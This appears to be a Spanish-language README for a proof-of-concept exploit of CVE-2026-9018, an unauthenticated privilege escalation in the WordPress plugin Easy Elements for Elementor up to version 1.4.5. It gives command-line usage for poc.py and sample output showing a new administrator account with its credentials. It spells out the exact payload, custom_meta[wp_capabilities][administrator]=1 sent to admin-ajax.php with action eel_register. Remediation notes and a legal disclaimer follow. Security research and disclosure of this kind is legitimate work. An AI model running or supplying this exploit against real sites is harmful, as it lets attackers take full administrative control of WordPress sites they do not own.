
Escalada de privilegios no autenticada CVE-2026-9018: Easy Elements for Elementor
Investigación por: Atomic Edge Severidad: Alta | CVSS: 8.8 | Autenticación requerida: Ninguna
Existe una vulnerabilidad de elevación de privilegios no autenticada en el plugin de WordPress Easy Elements for Elementor – Addons & Website Templates (versiones ≤ 1.4.5). La función easyel_handle_register(), expuesta a través del manejador AJAX wp_ajax_nopriv_eel_register, pasa los valores POST de custom_meta controlados por el atacante directamente a update_user_meta() sin ninguna lista blanca de claves. Esto permite a un atacante no autenticado sobrescribir la clave de metadatos wp_capabilities y crear una cuenta con nivel de administrador.
Antes de la explotación, deben cumplirse las siguientes condiciones en el sitio objetivo:
Ajustes → General → Cualquiera puede registrarse)easy_elements_nonce en el DOM de la página.pip install requests
# Basic — nonce fetched from homepage
python3 poc.py -u https://target.com
# Custom credentials
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!
# Widget is on /login/ page
python3 poc.py -u https://target.com --nonce-page /login/
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
# Skip post-exploit login check
python3 poc.py -u https://target.com --skip-verify-login
[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5
[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email : [email protected]
[*] Role : administrator (via wp_capabilities override)
[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!
┌─────────────────────────────────────────┐
│ WP Admin : https://target.com/wp-admin/
│ Username : atomic_admin
│ Password : Atomic@Edge2026!
└─────────────────────────────────────────┘
El exploit sigue un proceso de dos pasos:
Paso 1 — Obtención del nonce
El widget Login/Register de Elementor del plugin renderiza un campo oculto easy_elements_nonce en el HTML de la página. Este nonce es accesible públicamente para cualquier visitante no autenticado y se extrae mediante una expresión regular del código fuente de la página.
Paso 2 — Registro malicioso
Se envía una petición POST a /wp-admin/admin-ajax.php con action=eel_register. El array custom_meta se construye para incluir:
custom_meta[wp_capabilities][administrator] = 1
Debido a que easyel_handle_register() pasa todas las claves de custom_meta directamente a update_user_meta() sin una lista blanca, los metadatos de usuario wp_capabilities se sobrescriben después del registro, otorgando al nuevo usuario privilegios completos de administrador.
Los desarrolladores deben aplicar las siguientes correcciones a easyel_handle_register():
custom_meta permitidas (p. ej., first_name, last_name, phone)wp_capabilities, wp_user_level, session_tokenswp_insert_user() si no es necesario→ Actualice Easy Elements for Elementor a la versión 1.4.6 o posterior inmediatamente.
Este repositorio está destinado únicamente a investigación de seguridad autorizada y fines educativos. No utilice esta herramienta contra ningún sistema sin permiso explícito por escrito del propietario del sistema. El uso no autorizado puede violar la CFAA (EE. UU.), el Código Penal s.342.1 (Canadá), la Directiva NIS2 de la UE y otras leyes aplicables. Los autores no aceptan ninguna responsabilidad por el mal uso o los daños derivados de este código.
| Propiedad | Detalle |
|---|
| Plugin | Easy Elements for Elementor – Addons & Website Templates (easy-elements) |
| Afectadas | ≤ 1.4.5 |
| Corregida en | 1.4.6+ |
| Vector | Red / No autenticado |
| CWE | CWE-269: Gestión inadecuada de privilegios |
| Acción AJAX | eel_register (nopriv) |
| Flag | Descripción | Por defecto |
|---|
-u, --url | URL del sitio WordPress objetivo | (obligatorio) |
-U, --username | Nombre de usuario para la nueva cuenta de administrador | atomic_admin |
-e, --email | Correo electrónico para la nueva cuenta de administrador | [email protected] |
-p, --password | Contraseña para la nueva cuenta de administrador | Atomic@Edge2026! |
-np, --nonce-page | Ruta de la página que contiene el widget Login/Register | / |
--no-verify | Deshabilitar la verificación del certificado SSL | false |
--skip-verify-login | Omitir la verificación de inicio de sesión en el panel de WP tras el exploit | false |